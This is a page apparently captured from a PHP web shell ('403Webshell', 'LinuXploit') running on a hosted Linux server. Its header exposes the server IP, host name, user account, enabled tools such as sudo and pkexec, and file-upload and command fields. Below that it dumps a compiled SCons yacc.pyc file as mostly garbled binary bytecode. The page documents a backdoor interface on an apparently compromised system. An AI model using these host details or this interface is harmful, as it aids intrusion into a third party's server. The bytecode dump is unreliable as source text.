403Webshell
Server IP : 216.92.14.13  /  Your IP : 216.73.216.171
Web Server : Apache
System : Linux vps4089.pairvps.com 5.15.0-190-generic #200-Ubuntu SMP Fri Aug 7 15:06:04 UTC 2026 x86_64
User : rmlac2fmr ( 1040637)
PHP Version : 8.2.32
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /lib/scons/SCons/Tool/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/scons/SCons/Tool/yacc.pyc
�
�b3Qc@s�dZdZddlZddlZddlZddlZejjdd�Z	d�Z
d�Zd�Zd	�Z
d
�Zd�ZdS(s�SCons.Tool.yacc

Tool-specific initialization for yacc.

There normally shouldn't be any need to import this module directly.
It will usually be imported through the generic SCons.Tool.Tool()
selection method.

s8src/engine/SCons/Tool/yacc.py  2013/03/03 09:48:35 garyoi����Ns$YACCCOMs$YACCCOMSTRcCs�|jdd|d|�}tjj|�}tjjtjj|d��\}}d|krq|dg}nd|kr�|j||j|d|d|��nd|kr�tjjtjj|d��\}	}
|j|	|jd	��nd
|kr6|j	|d|d�|j
|d|d�ndd
g}x[|D]S}xJ|D]B}
t|
�}|| |
krV||j�}|j|�qVqVWqIW||fS(Ns
$YACCFLAGSttargettsourceis.yms.ms-ds-gs$YACCVCGFILESUFFIXs-vs.outputs
--defines=s--graph=(
tsubsttSConstUtiltCLVartostpathtsplitextt	to_Stringtappendt
SideEffecttCleantlentstrip(RRtenvtysufthsuft	yaccflagstflagst
targetBaset	targetExttbasetexttfileGenOptionstoptiont
fileGenOptiontltfileName((s!/usr/lib/scons/SCons/Tool/yacc.pyt_yaccEmitter,s*()(

cCst|||ddgd�S(Ns.ys.yaccs$YACCHFILESUFFIX(R(RRR((s!/usr/lib/scons/SCons/Tool/yacc.pytyEmitterXscCst|||dgd�S(Ns.yms$YACCHFILESUFFIX(R(RRR((s!/usr/lib/scons/SCons/Tool/yacc.pyt	ymEmitter[scCst|||dgd�S(Ns.yys$YACCHXXFILESUFFIX(R(RRR((s!/usr/lib/scons/SCons/Tool/yacc.pyt	yyEmitter^scCs�tjj|�\}}|jdt�|jdt�|jdt�|jdt�|jdt�|jdt�|jdt�|jdt�|j	d�p�d|d<tj
jd�|d	<d
|d<d|d
<d|d<d|d<dS(sCAdd Builders and construction variables for yacc to an Environment.s.ys.yaccs.yms.yytbisontyacctYACCtt	YACCFLAGSs$$YACC $YACCFLAGS -o $TARGET $SOURCEStYACCCOMs.htYACCHFILESUFFIXs.hpptYACCHXXFILESUFFIXs.vcgtYACCVCGFILESUFFIXN(RtTooltcreateCFileBuilderst
add_actiont
YaccActiontadd_emitterRRR tDetectRR(Rtc_filetcxx_file((s!/usr/lib/scons/SCons/Tool/yacc.pytgenerateas



cCs|jddg�S(NR!R"(R/(R((s!/usr/lib/scons/SCons/Tool/yacc.pytexists�s(t__doc__t__revision__tos.pathRtSCons.DefaultsRt
SCons.Toolt
SCons.UtiltActionR-RRRR R2R3(((s!/usr/lib/scons/SCons/Tool/yacc.pyt<module>	s	,				$

Youez - 2016 - github.com/yon3zu
LinuXploit